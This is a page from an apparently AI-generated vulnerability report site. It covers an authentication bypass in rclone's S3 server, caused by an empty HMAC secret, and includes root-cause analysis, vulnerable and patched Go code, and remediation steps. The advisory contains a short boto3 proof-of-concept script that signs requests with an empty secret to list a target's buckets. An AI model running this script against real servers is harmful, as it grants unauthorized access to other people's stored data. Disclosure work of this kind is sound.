CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-88018

CVE-2026-88018: Authentication Bypass in rclone S3 Server Component via Empty HMAC Secret

Alon Barad
Alon Barad
Software Engineer

Sep 11, 2026·6 min read·32 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can bypass S3 signature verification in 'rclone serve s3' by using an empty cryptographic signature when '--auth-key' is omitted, obtaining unauthorized read/write access to mapped storage backends.

Prior to version 1.75.1, rclone's S3 server component ('rclone serve s3') contains an authentication bypass vulnerability when configured with '--auth-proxy' but without '--auth-key'. The application validates AWS Signature Version 4 (SigV4) against an empty secret key string, enabling unauthenticated remote attackers to access storage backends.

Vulnerability Overview

The rclone utility includes a server component, rclone serve s3, which exposes an S3-compatible API to serve files from various cloud storage backends. To manage multi-tenant authentication, developers can configure an external authentication proxy program via the --auth-proxy command-line flag.

When rclone is executed with the --auth-proxy flag but the --auth-key flag is omitted, the software enters an insecure default state. In this configuration, the internal S3 authentication middleware dynamically registers client-specified identities against a blank process-wide secret key. This behavior compromises the integrity of the AWS Signature Version 4 (SigV4) verification process.

Because the underlying validation library accepts an empty string as a valid cryptographic key, remote attackers can perform successful signature verification without possessing any prior secrets. This vulnerability is classified under CWE-287 (Improper Authentication) and CWE-306 (Missing Authentication for Critical Function).

Technical Root Cause Analysis

The core flaw resides in the interaction between rclone's authPairMiddleware and the S3 validation engine. In vulnerable versions, rclone intercept S3 requests to extract the accessKey from incoming HTTP headers. This extracted key is dynamically added to the global gofakes3 credential store, mapping the client-chosen access key directly to the server's global S3 secret (ws.s3Secret).

When --auth-key is omitted during application startup, ws.s3Secret defaults to an empty string (""). AWS Signature Version 4 (SigV4) relies on Hash-based Message Authentication Codes (HMAC-SHA256) to confirm request integrity. In Go, an empty string is treated as a valid sequence of bytes and can be successfully loaded as an HMAC key.

An attacker can craft an S3 signature using an empty secret key ("") to sign their request. During validation, the server computes the HMAC-SHA256 signature against its own empty secret key, matching the signature provided by the attacker. Consequently, the signature verification check passes.

After bypassing signature verification, the application queries the external --auth-proxy script, passing the arbitrary access key ID. The script maps the request to a virtual filesystem (VFS) and grants full access. Because S3 clients do not transmit the raw secret over the wire, the external script cannot verify the signature and assumes that rclone has already completed security validation.

Code Path and Patch Analysis

In vulnerable versions, the application defined authPairMiddleware in cmd/serve/s3/server.go as follows:

func authPairMiddleware(next http.Handler, ws *Server) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		accessKey, _ := parseAccessKeyID(r)
		// set the auth pair
		authPair := map[string]string{
			accessKey: ws.s3Secret, // ws.s3Secret is empty if --auth-key is omitted
		}
		ws.faker.AddAuthKeys(authPair)
		next.ServeHTTP(w, r)
	})
}

To address this security flaw, the patch modified the server component to enforce dynamic cryptographic verification against actual secrets managed by the external proxy. In the patched version, the application no longer registers keys globally with an empty default value. Instead, rclone queries the proxy program for the secret access key and verifies the signature per-request using signature.V4SignVerifyWithSecret:

// auth authenticates the request via the auth proxy.
func (w *Server) auth(r *http.Request, accessKeyID string) (VFS *vfs.VFS, err error) {
	p := w.provider.Proxy()
	VFS, secret, err := p.CallAccessKey(accessKeyID, r.RemoteAddr, false)
	if err != nil {
		return nil, err
	}
	errCode := signature.V4SignVerifyWithSecret(r, secret)
	if errCode == signature.ErrNone {
		return VFS, nil
	}
	// Handle signature mismatch and retry logic if key was rotated
	if signature.GetAPIError(errCode).Code == "SignatureDoesNotMatch" {
		VFS, secret, err = p.CallAccessKey(accessKeyID, r.RemoteAddr, true)
		if err != nil {
			return nil, err
		}
		errCode = signature.V4SignVerifyWithSecret(r, secret)
		if errCode == signature.ErrNone {
			return VFS, nil
		}
	}
	return nil, fmt.Errorf("signature verification failed: %s", signature.GetAPIError(errCode).Code)
}

This architecture isolates secrets dynamically and ensures that signature verification is performed using a legitimate, non-empty secret retrieved from the proxy.

Exploitation and Proof-of-Concept

To exploit this vulnerability, an unauthenticated attacker requires network connectivity to the target S3 port. No system credentials or administrative privileges are needed.

The attacker crafts an S3 request targeting a specific identity name that they expect is resolved by the external proxy script. By generating an AWS SigV4 signature using an empty string as the secret access key, the request bypasses the initial verification step.

Below is a conceptual Python example demonstrating how an attacker can leverage the AWS SDK (boto3) to interact with a vulnerable S3 server using an empty key:

import boto3
from botocore.config import Config
 
TARGET_URL = "http://vulnerable-rclone-instance:8080"
CHOSEN_IDENTITY = "target_user"
 
s3_client = boto3.client(
    's3',
    endpoint_url=TARGET_URL,
    aws_access_key_id=CHOSEN_IDENTITY,
    aws_secret_access_key="",  # Exploits the empty HMAC validation flaw
    config=Config(signature_version='s3v4')
)
 
try:
    # Attempting to access storage bucket resources
    response = s3_client.list_buckets()
    print("[+] Authentication bypassed successfully")
    print("[+] Discovered Buckets:", response.get('Buckets', []))
except Exception as e:
    print(f"[-] Request failed: {e}")

When rclone receives this request, it validates the signature using the empty key, matches the attacker-supplied signature, and queries the authentication proxy script. The proxy script returns the virtual directory structure, which rclone then transmits back to the attacker.

Threat and Impact Assessment

The impact of this vulnerability is critical. An unauthenticated remote attacker can read, write, or delete arbitrary files on any remote storage backend integrated with the S3 proxy system.

The CVSS v3.1 score is calculated as 9.8 (CRITICAL), with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The attack complexity is low, and no user interaction is required. Confidentiality, integrity, and availability are all severely affected.

Furthermore, because the proxy script automatically resolves the target directory structure for the requested accessKeyID, attackers can systematically enumerate and access files associated with different tenant accounts, leading to a complete compromise of multi-tenant storage environments.

Remediation and Patch Validation

The primary remediation strategy is to upgrade rclone to version 1.75.1 or later. This release restructures the auth-proxy workflow to securely request the S3 secret from the proxy and validate signatures locally.

Deploying the patch introduces a breaking change. Custom proxy scripts must be updated to return the corresponding secret key in the _secret_access_key field in their JSON responses. If the proxy does not provide this value, rclone will reject the connection.

For systems that cannot be upgraded immediately, administrators must set a non-empty static password using the --auth-key flag. This action enforces signature verification against a non-empty key, mitigating the unauthenticated bypass condition. Additionally, firewall rules should be implemented to restrict access to the S3 service port to authorized IP addresses only.

Official Patches

rcloneFix Commit on GitHub

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

rclone S3 Server Component (rclone serve s3)

Affected Versions Detail

Product
Affected Versions
Fixed Version
rclone
rclone
< 1.75.11.75.1
AttributeDetail
CWE IDCWE-287 / CWE-306
Attack VectorNetwork
CVSS v3.1 Score9.8
Exploit Statuspoc
CISA KEV StatusNo
Ransomware UseNo

MITRE ATT&CK Mapping

T1078Valid Accounts
Initial Access
T1190Exploit Public-Facing Application
Initial Access
CWE-287
Improper Authentication

The software does not prove or insufficiently proves that a user is who they claim to be.

Vulnerability Timeline

Fix commit pushed to the main rclone repository.
2026-08-24
Official advisory and CVE-2026-88018 published; rclone version v1.75.1 released.
2026-09-10

References & Sources

  • [1]GitHub Security Advisory GHSA-xwwr-4h3p-r22c
  • [2]Official rclone v1.75.1 Release Notes
  • [3]NVD Entry (CVE-2026-88018)
  • [4]rclone Patch Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
8 views•10 min read
•2 days ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
8 views•9 min read
•2 days ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
12 views•10 min read
•2 days ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
9 views•12 min read
•2 days ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•2 days ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
15 views•9 min read